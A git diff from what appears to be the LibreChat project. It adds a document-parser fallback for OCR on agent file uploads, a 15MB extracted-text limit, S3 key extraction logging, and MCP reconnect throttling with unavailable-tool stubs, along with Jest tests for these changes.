Handles endpoints with a base path (e.g. https://example.com/storage/). + if (endpoint && forcePathStyle) { + const endpointUrl = new URL(endpoint); + const startPos = + endpointUrl.pathname.length + + (endpointUrl.pathname.endsWith('/') ? 0 : 1) + + bucketName.length + + 1; + const key = url.pathname.substring(startPos); + if (!key) { + logger.warn( + `[extractKeyFromS3Url] Extracted key is empty for endpoint path-style URL: ${fileUrlOrKey}`, + ); + } else { + logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`); + } + return key; + } + + if ( + hostname === 's3.amazonaws.com' || + hostname.match(/^s3[-.][a-z0-9-]+\.amazonaws\.com$/) || + (bucketName && pathname.startsWith(`${bucketName}/`)) + ) { + // Path-style: https://s3.amazonaws.com/bucket-name/key or custom endpoint (MinIO, R2, etc.) + // Strip the bucket name (first path segment) + const firstSlashIndex = pathname.indexOf('/'); + if (firstSlashIndex > 0) { + const key = pathname.substring(firstSlashIndex + 1); + + if (key === '') { + logger.warn( + `[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: ${fileUrlOrKey}`, + ); + } else { + logger.debug( + `[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`, + ); + } + + return key; + } else { + logger.warn( + `[extractKeyFromS3Url] Unable to extract key from path-style URL: ${fileUrlOrKey}`, + ); + return ''; + } + } + + // Virtual-hosted-style or other: https://bucket-name.s3.amazonaws.com/key + // Just return the pathname without leading slash + logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${pathname}`); + return pathname; } catch (error) { + if (fileUrlOrKey.startsWith('http://') || fileUrlOrKey.startsWith('https://')) { + logger.error( + `[extractKeyFromS3Url] Error parsing URL: ${fileUrlOrKey}, Error: ${error.message}`, + ); + } else { + logger.debug(`[extractKeyFromS3Url] Non-URL input, using fallback: ${fileUrlOrKey}`); + } + const parts = fileUrlOrKey.split('/'); if (parts.length >= 3 && !fileUrlOrKey.startsWith('http') && !fileUrlOrKey.startsWith('/')) { return fileUrlOrKey; } - return fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey; + const key = fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey; + logger.debug( + `[extractKeyFromS3Url] FALLBACK. fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`, + ); + return key; } } @@ -480,4 +552,5 @@ module.exports = { refreshS3Url, needsRefresh, getNewS3URL, + extractKeyFromS3Url, }; diff --git a/api/server/services/Files/process.js b/api/server/services/Files/process.js index 30b47f2e52..d01128927a 100644 --- a/api/server/services/Files/process.js +++ b/api/server/services/Files/process.js @@ -16,6 +16,7 @@ const { removeNullishValues, isAssistantsEndpoint, getEndpointFileConfig, + documentParserMimeTypes, } = require('librechat-data-provider'); const { EnvVar } = require('@librechat/agents'); const { logger } = require('@librechat/data-schemas'); @@ -523,6 +524,12 @@ const processAgentFileUpload = async ({ req, res, metadata }) => { * @return {Promise} */ const createTextFile = async ({ text, bytes, filepath, type = 'text/plain' }) => { + const textBytes = Buffer.byteLength(text, 'utf8'); + if (textBytes > 15 * megabyte) { + throw new Error( + `Extracted text from "${file.originalname}" exceeds the 15MB storage limit (${Math.round(textBytes / megabyte)}MB). Try a shorter document.`, + ); + } const fileInfo = removeNullishValues({ text, bytes, @@ -553,29 +560,52 @@ const processAgentFileUpload = async ({ req, res, metadata }) => { const fileConfig = mergeFileConfig(appConfig.fileConfig); - const shouldUseOCR = + const shouldUseConfiguredOCR = appConfig?.ocr != null && fileConfig.checkType(file.mimetype, fileConfig.ocr?.supportedMimeTypes || []); - if (shouldUseOCR && !(await checkCapability(req, AgentCapabilities.ocr))) { - throw new Error('OCR capability is not enabled for Agents'); - } else if (shouldUseOCR) { + const shouldUseDocumentParser = + !shouldUseConfiguredOCR && documentParserMimeTypes.some((regex) => regex.test(file.mimetype)); + + const shouldUseOCR = shouldUseConfiguredOCR || shouldUseDocumentParser; + + const resolveDocumentText = async () => { + if (shouldUseConfiguredOCR) { + try { + const ocrStrategy = appConfig?.ocr?.strategy ?? FileSources.document_parser; + const { handleFileUpload } = getStrategyFunctions(ocrStrategy); + return await handleFileUpload({ req, file, loadAuthValues }); + } catch (err) { + logger.error( + `[processAgentFileUpload] Configured OCR failed for "${file.originalname}", falling back to document_parser:`, + err, + ); + } + } try { - const { handleFileUpload: uploadOCR } = getStrategyFunctions( - appConfig?.ocr?.strategy ?? FileSources.mistral_ocr, - ); - const { - text, - bytes, - filepath: ocrFileURL, - } = await uploadOCR({ req, file, loadAuthValues }); - return await createTextFile({ text, bytes, filepath: ocrFileURL }); - } catch (ocrError) { + const { handleFileUpload } = getStrategyFunctions(FileSources.document_parser); + return await handleFileUpload({ req, file, loadAuthValues }); + } catch (err) { logger.error( - `[processAgentFileUpload] OCR processing failed for file "${file.originalname}", falling back to text extraction:`, - ocrError, + `[processAgentFileUpload] Document parser failed for "${file.originalname}":`, + err, ); } + }; + + if (shouldUseConfiguredOCR && !(await checkCapability(req, AgentCapabilities.ocr))) { + throw new Error('OCR capability is not enabled for Agents'); + } + + if (shouldUseOCR) { + const ocrResult = await resolveDocumentText(); + if (ocrResult) { + const { text, bytes, filepath: ocrFileURL } = ocrResult; + return await createTextFile({ text, bytes, filepath: ocrFileURL }); + } + throw new Error( + `Unable to extract text from "${file.originalname}". The document may be image-based and requires an OCR service to process.`, + ); } const shouldUseSTT = fileConfig.checkType( diff --git a/api/server/services/Files/process.spec.js b/api/server/services/Files/process.spec.js new file mode 100644 index 0000000000..7737255a52 --- /dev/null +++ b/api/server/services/Files/process.spec.js @@ -0,0 +1,347 @@ +jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') })); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() }, +})); + +jest.mock('@librechat/agents', () => ({ + EnvVar: { CODE_API_KEY: 'CODE_API_KEY' }, +})); + +jest.mock('@librechat/api', () => ({ + sanitizeFilename: jest.fn((n) => n), + parseText: jest.fn().mockResolvedValue({ text: '', bytes: 0 }), + processAudioFile: jest.fn(), +})); + +jest.mock('librechat-data-provider', () => ({ + ...jest.requireActual('librechat-data-provider'), + mergeFileConfig: jest.fn(), +})); + +jest.mock('~/server/services/Files/images', () => ({ + convertImage: jest.fn(), + resizeAndConvert: jest.fn(), + resizeImageBuffer: jest.fn(), +})); + +jest.mock('~/server/controllers/assistants/v2', () => ({ + addResourceFileId: jest.fn(), + deleteResourceFileId: jest.fn(), +})); + +jest.mock('~/models/Agent', () => ({ + addAgentResourceFile: jest.fn().mockResolvedValue({}), + removeAgentResourceFiles: jest.fn(), +})); + +jest.mock('~/server/controllers/assistants/helpers', () => ({ + getOpenAIClient: jest.fn(), +})); + +jest.mock('~/server/services/Tools/credentials', () => ({ + loadAuthValues: jest.fn(), +})); + +jest.mock('~/models', () => ({ + createFile: jest.fn().mockResolvedValue({ file_id: 'created-file-id' }), + updateFileUsage: jest.fn(), + deleteFiles: jest.fn(), +})); + +jest.mock('~/server/utils/getFileStrategy', () => ({ + getFileStrategy: jest.fn().mockReturnValue('local'), +})); + +jest.mock('~/server/services/Config', () => ({ + checkCapability: jest.fn().mockResolvedValue(true), +})); + +jest.mock('~/server/utils/queue', () => ({ + LB_QueueAsyncCall: jest.fn(), +})); + +jest.mock('~/server/services/Files/strategies', () => ({ + getStrategyFunctions: jest.fn(), +})); + +jest.mock('~/server/utils', () => ({ + determineFileType: jest.fn(), +})); + +jest.mock('~/server/services/Files/Audio/STTService', () => ({ + STTService: { getInstance: jest.fn() }, +})); + +const { EToolResources, FileSources, AgentCapabilities } = require('librechat-data-provider'); +const { mergeFileConfig } = require('librechat-data-provider'); +const { checkCapability } = require('~/server/services/Config'); +const { getStrategyFunctions } = require('~/server/services/Files/strategies'); +const { processAgentFileUpload } = require('./process'); + +const PDF_MIME = 'application/pdf'; +const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; +const XLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; +const XLS_MIME = 'application/vnd.ms-excel'; +const ODS_MIME = 'application/vnd.oasis.opendocument.spreadsheet'; +const ODT_MIME = 'application/vnd.oasis.opendocument.text'; +const ODP_MIME = 'application/vnd.oasis.opendocument.presentation'; +const ODG_MIME = 'application/vnd.oasis.opendocument.graphics'; + +const makeReq = ({ mimetype = PDF_MIME, ocrConfig = null } = {}) => ({ + user: { id: 'user-123' }, + file: { + path: '/tmp/upload.bin', + originalname: 'upload.bin', + filename: 'upload-uuid.bin', + mimetype, + }, + body: { model: 'gpt-4o' }, + config: { + fileConfig: {}, + fileStrategy: 'local', + ocr: ocrConfig, + }, +}); + +const makeMetadata = () => ({ + agent_id: 'agent-abc', + tool_resource: EToolResources.context, + file_id: 'file-uuid-123', +}); + +const mockRes = { + status: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnValue({}), +}; + +const makeFileConfig = ({ ocrSupportedMimeTypes = [] } = {}) => ({ + checkType: (mime, types) => (types ?? []).includes(mime), + ocr: { supportedMimeTypes: ocrSupportedMimeTypes }, + stt: { supportedMimeTypes: [] }, + text: { supportedMimeTypes: [] }, +}); + +describe('processAgentFileUpload', () => { + beforeEach(() => { + jest.clearAllMocks(); + mockRes.status.mockReturnThis(); + mockRes.json.mockReturnValue({}); + checkCapability.mockResolvedValue(true); + getStrategyFunctions.mockReturnValue({ + handleFileUpload: jest + .fn() + .mockResolvedValue({ text: 'extracted text', bytes: 42, filepath: 'doc://result' }), + }); + mergeFileConfig.mockReturnValue(makeFileConfig()); + }); + + describe('OCR strategy selection', () => { + test.each([ + ['PDF', PDF_MIME], + ['DOCX', DOCX_MIME], + ['XLSX', XLSX_MIME], + ['XLS', XLS_MIME], + ['ODS', ODS_MIME], + ['Excel variant (msexcel)', 'application/msexcel'], + ['Excel variant (x-msexcel)', 'application/x-msexcel'], + ])('uses document_parser automatically for %s when no OCR is configured', async (_, mime) => { + mergeFileConfig.mockReturnValue(makeFileConfig()); + const req = makeReq({ mimetype: mime, ocrConfig: null }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + }); + + test('does not check OCR capability when using automatic document_parser fallback', async () => { + const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + }); + + test('uses the configured OCR strategy when OCR is set up for the file type', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + const req = makeReq({ + mimetype: PDF_MIME, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr); + }); + + test('uses document_parser as default when OCR is configured but no strategy is specified', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + const req = makeReq({ + mimetype: PDF_MIME, + ocrConfig: { supportedMimeTypes: [PDF_MIME] }, + }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + }); + + test('throws when configured OCR capability is not enabled for the agent', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + checkCapability.mockResolvedValue(false); + const req = makeReq({ + mimetype: PDF_MIME, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).rejects.toThrow('OCR capability is not enabled for Agents'); + }); + + test('uses document_parser (no capability check) when OCR capability returns false but no OCR config', async () => { + checkCapability.mockResolvedValue(false); + const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + }); + + test('uses document_parser when OCR is configured but the file type is not in OCR supported types', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + const req = makeReq({ + mimetype: DOCX_MIME, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + expect(getStrategyFunctions).not.toHaveBeenCalledWith(FileSources.mistral_ocr); + }); + + test('does not invoke any OCR strategy for unsupported MIME types without OCR config', async () => { + const req = makeReq({ mimetype: 'text/plain', ocrConfig: null }); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).rejects.toThrow('File type text/plain is not supported for text parsing.'); + + expect(getStrategyFunctions).not.toHaveBeenCalled(); + }); + + test.each([ + ['ODT', ODT_MIME], + ['ODP', ODP_MIME], + ['ODG', ODG_MIME], + ])('routes %s through configured OCR when OCR supports the type', async (_, mime) => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [mime] })); + const req = makeReq({ + mimetype: mime, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + + await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }); + + expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr); + }); + + test('throws instead of falling back to parseText when document_parser fails for a document MIME type', async () => { + getStrategyFunctions.mockReturnValue({ + handleFileUpload: jest.fn().mockRejectedValue(new Error('No text found in document')), + }); + const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null }); + const { parseText } = require('@librechat/api'); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).rejects.toThrow(/image-based and requires an OCR service/); + + expect(parseText).not.toHaveBeenCalled(); + }); + + test('falls back to document_parser when configured OCR fails for a document MIME type', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + const failingUpload = jest.fn().mockRejectedValue(new Error('OCR API returned 500')); + const fallbackUpload = jest + .fn() + .mockResolvedValue({ text: 'parsed text', bytes: 11, filepath: 'doc://result' }); + getStrategyFunctions + .mockReturnValueOnce({ handleFileUpload: failingUpload }) + .mockReturnValueOnce({ handleFileUpload: fallbackUpload }); + const req = makeReq({ + mimetype: PDF_MIME, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).resolves.not.toThrow(); + + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr); + expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser); + }); + + test('throws when both configured OCR and document_parser fallback fail', async () => { + mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] })); + getStrategyFunctions.mockReturnValue({ + handleFileUpload: jest.fn().mockRejectedValue(new Error('failure')), + }); + const req = makeReq({ + mimetype: PDF_MIME, + ocrConfig: { strategy: FileSources.mistral_ocr }, + }); + const { parseText } = require('@librechat/api'); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).rejects.toThrow(/image-based and requires an OCR service/); + + expect(parseText).not.toHaveBeenCalled(); + }); + }); + + describe('text size guard', () => { + test('throws before writing to MongoDB when extracted text exceeds 15MB', async () => { + const oversizedText = 'x'.repeat(15 * 1024 * 1024 + 1); + getStrategyFunctions.mockReturnValue({ + handleFileUpload: jest.fn().mockResolvedValue({ + text: oversizedText, + bytes: Buffer.byteLength(oversizedText, 'utf8'), + filepath: 'doc://result', + }), + }); + const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null }); + const { createFile } = require('~/models'); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).rejects.toThrow(/exceeds the 15MB storage limit/); + + expect(createFile).not.toHaveBeenCalled(); + }); + + test('succeeds when extracted text is within the 15MB limit', async () => { + const okText = 'x'.repeat(1024); + getStrategyFunctions.mockReturnValue({ + handleFileUpload: jest.fn().mockResolvedValue({ + text: okText, + bytes: Buffer.byteLength(okText, 'utf8'), + filepath: 'doc://result', + }), + }); + const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null }); + + await expect( + processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }), + ).resolves.not.toThrow(); + }); + }); +}); diff --git a/api/server/services/Files/strategies.js b/api/server/services/Files/strategies.js index 2ad526194b..25341b5715 100644 --- a/api/server/services/Files/strategies.js +++ b/api/server/services/Files/strategies.js @@ -1,5 +1,6 @@ const { FileSources } = require('librechat-data-provider'); const { + parseDocument, uploadMistralOCR, uploadAzureMistralOCR, uploadGoogleVertexMistralOCR, @@ -246,6 +247,26 @@ const vertexMistralOCRStrategy = () => ({ handleFileUpload: uploadGoogleVertexMistralOCR, }); +const documentParserStrategy = () => ({ + /** @type {typeof saveFileFromURL | null} */ + saveURL: null, + /** @type {typeof getLocalFileURL | null} */ + getFileURL: null, + /** @type {typeof saveLocalBuffer | null} */ + saveBuffer: null, + /** @type {typeof processLocalAvatar | null} */ + processAvatar: null, + /** @type {typeof uploadLocalImage | null} */ + handleImageUpload: null, + /** @type {typeof prepareImagesLocal | null} */ + prepareImagePayload: null, + /** @type {typeof deleteLocalFile | null} */ + deleteFile: null, + /** @type {typeof getLocalFileStream | null} */ + getDownloadStream: null, + handleFileUpload: parseDocument, +}); + // Strategy Selector const getStrategyFunctions = (fileSource) => { if (fileSource === FileSources.firebase) { @@ -270,6 +291,8 @@ const getStrategyFunctions = (fileSource) => { return azureMistralOCRStrategy(); } else if (fileSource === FileSources.vertexai_mistral_ocr) { return vertexMistralOCRStrategy(); + } else if (fileSource === FileSources.document_parser) { + return documentParserStrategy(); } else if (fileSource === FileSources.text) { return localStrategy(); // Text files use local strategy } else { diff --git a/api/server/services/GraphTokenService.js b/api/server/services/GraphTokenService.js index d5cd6a94f2..843adbe5a2 100644 --- a/api/server/services/GraphTokenService.js +++ b/api/server/services/GraphTokenService.js @@ -7,7 +7,7 @@ const getLogStores = require('~/cache/getLogStores'); /** * Get Microsoft Graph API token using existing token exchange mechanism * @param {Object} user - User object with OpenID information - * @param {string} accessToken - Current access token from Authorization header + * @param {string} accessToken - Federated access token used as OBO assertion * @param {string} scopes - Graph API scopes for the token * @param {boolean} fromCache - Whether to try getting token from cache first * @returns {Promise} Graph API token response with access_token and expires_in diff --git a/api/server/services/MCP.js b/api/server/services/MCP.js index 81d7107de4..c66eb0b6ef 100644 --- a/api/server/services/MCP.js +++ b/api/server/services/MCP.js @@ -1,4 +1,3 @@ -const { z } = require('zod'); const { tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); const { @@ -12,8 +11,9 @@ const { MCPOAuthHandler, isMCPDomainAllowed, normalizeServerName, - convertWithResolvedRefs, + normalizeJsonSchema, GenerationJobManager, + resolveJsonSchemaRefs, } = require('@librechat/api'); const { Time, @@ -29,10 +29,70 @@ const { getMCPManager, } = require('~/config'); const { findToken, createToken, updateToken } = require('~/models'); +const { getGraphApiToken } = require('./GraphTokenService'); const { reinitMCPServer } = require('./Tools/mcp'); const { getAppConfig } = require('./Config'); const { getLogStores } = require('~/cache'); +const MAX_CACHE_SIZE = 1000; +const lastReconnectAttempts = new Map(); +const RECONNECT_THROTTLE_MS = 10_000; + +const missingToolCache = new Map(); +const MISSING_TOOL_TTL_MS = 10_000; + +function evictStale(map, ttl) { + if (map.size <= MAX_CACHE_SIZE) { + return; + } + const now = Date.now(); + for (const [key, timestamp] of map) { + if (now - timestamp >= ttl) { + map.delete(key); + } + if (map.size <= MAX_CACHE_SIZE) { + return; + } + } +} + +const unavailableMsg = + "This tool's MCP server is temporarily unavailable. Please try again shortly."; + +/** + * @param {string} toolName + * @param {string} serverName + */ +function createUnavailableToolStub(toolName, serverName) { + const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`; + const _call = async () => [unavailableMsg, null]; + const toolInstance = tool(_call, { + schema: { + type: 'object', + properties: { + input: { type: 'string', description: 'Input for the tool' }, + }, + required: [], + }, + name: normalizedToolKey, + description: unavailableMsg, + responseFormat: AgentConstants.CONTENT_AND_ARTIFACT, + }); + toolInstance.mcp = true; + toolInstance.mcpRawServerName = serverName; + return toolInstance; +} + +function isEmptyObjectSchema(jsonSchema) { + return ( + jsonSchema != null && + typeof jsonSchema === 'object' && + jsonSchema.type === 'object' && + (jsonSchema.properties == null || Object.keys(jsonSchema.properties).length === 0) && + !jsonSchema.additionalProperties + ); +} + /** * @param {object} params * @param {ServerResponse} params.res - The Express response object for sending events. @@ -43,9 +103,9 @@ const { getLogStores } = require('~/cache'); function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) { /** * @param {string} authURL - The URL to redirect the user for OAuth authentication. - * @returns {void} + * @returns {Promise} */ - return function (authURL) { + return async function (authURL) { /** @type {{ id: string; delta: AgentToolCallDelta }} */ const data = { id: stepId, @@ -58,7 +118,7 @@ function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) { }; const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data }; if (streamId) { - GenerationJobManager.emitChunk(streamId, eventData); + await GenerationJobManager.emitChunk(streamId, eventData); } else { sendEvent(res, eventData); } @@ -73,9 +133,10 @@ function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) { * @param {ToolCallChunk} params.toolCall - The tool call object containing tool information. * @param {number} [params.index] * @param {string | null} [params.streamId] - The stream ID for resumable mode. + * @returns {() => Promise} */ function createRunStepEmitter({ res, runId, stepId, toolCall, index, streamId = null }) { - return function () { + return async function () { /** @type {import('@librechat/agents').RunStep} */ const data = { runId: runId ?? Constants.USE_PRELIM_RESPONSE_MESSAGE_ID, @@ -89,7 +150,7 @@ function createRunStepEmitter({ res, runId, stepId, toolCall, index, streamId = }; const eventData = { event: GraphEvents.ON_RUN_STEP, data }; if (streamId) { - GenerationJobManager.emitChunk(streamId, eventData); + await GenerationJobManager.emitChunk(streamId, eventData); } else { sendEvent(res, eventData); } @@ -137,7 +198,7 @@ function createOAuthEnd({ res, stepId, toolCall, streamId = null }) { }; const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data }; if (streamId) { - GenerationJobManager.emitChunk(streamId, eventData); + await GenerationJobManager.emitChunk(streamId, eventData); } else { sendEvent(res, eventData); } @@ -196,6 +257,20 @@ async function reconnectServer({ userMCPAuthMap, streamId = null, }) { + logger.debug( + `[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`, + ); + + const throttleKey = `${user.id}:${serverName}`; + const now = Date.now(); + const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0; + if (now - lastAttempt < RECONNECT_THROTTLE_MS) { + logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`); + return null; + } + lastReconnectAttempts.set(throttleKey, now); + evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS); + const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID; const flowId = `${user.id}:${serverName}:${Date.now()}`; const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS)); @@ -252,7 +327,7 @@ async function reconnectServer({ userMCPAuthMap, forceNew: true, returnOnOAuth: false, - connectionTimeout: Time.TWO_MINUTES, + connectionTimeout: Time.THIRTY_SECONDS, }); } finally { // Clean up abort handler to prevent memory leaks @@ -315,9 +390,13 @@ async function createMCPTools({ userMCPAuthMap, streamId, }); + if (result === null) { + logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`); + return []; + } if (!result || !result.tools) { logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`); - return; + return []; } const serverTools = []; @@ -387,6 +466,14 @@ async function createMCPTool({ /** @type {LCTool | undefined} */ let toolDefinition = availableTools?.[toolKey]?.function; if (!toolDefinition) { + const cachedAt = missingToolCache.get(toolKey); + if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) { + logger.debug( + `[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`, + ); + return createUnavailableToolStub(toolName, serverName); + } + logger.warn( `[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`, ); @@ -400,11 +487,18 @@ async function createMCPTool({ streamId, }); toolDefinition = result?.availableTools?.[toolKey]?.function; + + if (!toolDefinition) { + missingToolCache.set(toolKey, Date.now()); + evictStale(missingToolCache, MISSING_TOOL_TTL_MS); + } } if (!toolDefinition) { - logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`); - return; + logger.warn( + `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`, + ); + return createUnavailableToolStub(toolName, serverName); } return createToolInstance({ @@ -428,13 +522,17 @@ function createToolInstance({ /** @type {LCTool} */ const { description, parameters } = toolDefinition; const isGoogle = _provider === Providers.VERTEXAI || _provider === Providers.GOOGLE; - let schema = convertWithResolvedRefs(parameters, { - allowEmptyObject: !isGoogle, - transformOneOfAnyOf: true, - }); - if (!schema) { - schema = z.object({ input: z.string().optional() }); + let schema = parameters ? normalizeJsonSchema(resolveJsonSchemaRefs(parameters)) : null; + + if (!schema || (isGoogle && isEmptyObjectSchema(schema))) { + schema = { + type: 'object', + properties: { + input: { type: 'string', description: 'Input for the tool' }, + }, + required: [], + }; } const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`; @@ -501,6 +599,7 @@ function createToolInstance({ }, oauthStart, oauthEnd, + graphTokenResolver: getGraphApiToken, }); if (isAssistantsEndpoint(provider) && Array.isArray(result)) { @@ -548,6 +647,7 @@ function createToolInstance({ }); toolInstance.mcp = true; toolInstance.mcpRawServerName = serverName; + toolInstance.mcpJsonSchema = parameters; return toolInstance; } @@ -699,4 +799,5 @@ module.exports = { getMCPSetupData, checkOAuthFlowStatus, getServerConnectionStatus, + createUnavailableToolStub, }; diff --git a/api/server/services/MCP.spec.js b/api/server/services/MCP.spec.js index cb2f0081a3..14a9ef90ed 100644 --- a/api/server/services/MCP.spec.js +++ b/api/server/services/MCP.spec.js @@ -9,30 +9,6 @@ jest.mock('@librechat/data-schemas', () => ({ }, })); -jest.mock('@langchain/core/tools', () => ({ - tool: jest.fn((fn, config) => { - const toolInstance = { _call: fn, ...config }; - return toolInstance; - }), -})); - -jest.mock('@librechat/agents', () => ({ - Providers: { - VERTEXAI: 'vertexai', - GOOGLE: 'google', - }, - StepTypes: { - TOOL_CALLS: 'tool_calls', - }, - GraphEvents: { - ON_RUN_STEP_DELTA: 'on_run_step_delta', - ON_RUN_STEP: 'on_run_step', - }, - Constants: { - CONTENT_AND_ARTIFACT: 'content_and_artifact', - }, -})); - // Create mock registry instance const mockRegistryInstance = { getOAuthServers: jest.fn(() => Promise.resolve(new Set())), @@ -46,52 +22,32 @@ const mockIsMCPDomainAllowed = jest.fn(() => Promise.resolve(true)); const mockGetAppConfig = jest.fn(() => Promise.resolve({})); jest.mock('@librechat/api', () => { - // Access mock via getter to avoid hoisting issues + const actual = jest.requireActual('@librechat/api'); return { - MCPOAuthHandler: { - generateFlowId: jest.fn(), - }, + ...actual, sendEvent: jest.fn(), - normalizeServerName: jest.fn((name) => name), - convertWithResolvedRefs: jest.fn((params) => params), get isMCPDomainAllowed() { return mockIsMCPDomainAllowed; }, - MCPServersRegistry: { - getInstance: () => mockRegistryInstance, + GenerationJobManager: { + emitChunk: jest.fn(), }, }; }); const { logger } = require('@librechat/data-schemas'); const { MCPOAuthHandler } = require('@librechat/api'); -const { CacheKeys } = require('librechat-data-provider'); +const { CacheKeys, Constants } = require('librechat-data-provider'); +const D = Constants.mcp_delimiter; const { createMCPTool, createMCPTools, getMCPSetupData, checkOAuthFlowStatus, getServerConnectionStatus, + createUnavailableToolStub, } = require('./MCP'); -jest.mock('librechat-data-provider', () => ({ - CacheKeys: { - FLOWS: 'flows', - }, - Constants: { - USE_PRELIM_RESPONSE_MESSAGE_ID: 'prelim_response_id', - mcp_delimiter: '::', - mcp_prefix: 'mcp_', - }, - ContentTypes: { - TEXT: 'text', - }, - isAssistantsEndpoint: jest.fn(() => false), - Time: { - TWO_MINUTES: 120000, - }, -})); - jest.mock('./Config', () => ({ loadCustomConfig: jest.fn(), get getAppConfig() { @@ -120,6 +76,10 @@ jest.mock('./Tools/mcp', () => ({ reinitMCPServer: jest.fn(), })); +jest.mock('./GraphTokenService', () => ({ + getGraphApiToken: jest.fn(), +})); + describe('tests for the new helper functions used by the MCP connection status endpoints', () => { let mockGetMCPManager; let mockGetFlowStateManager; @@ -128,6 +88,7 @@ describe('tests for the new helper functions used by the MCP connection status e beforeEach(() => { jest.clearAllMocks(); + jest.spyOn(MCPOAuthHandler, 'generateFlowId'); mockGetMCPManager = require('~/config').getMCPManager; mockGetFlowStateManager = require('~/config').getFlowStateManager; @@ -731,7 +692,7 @@ describe('User parameter passing 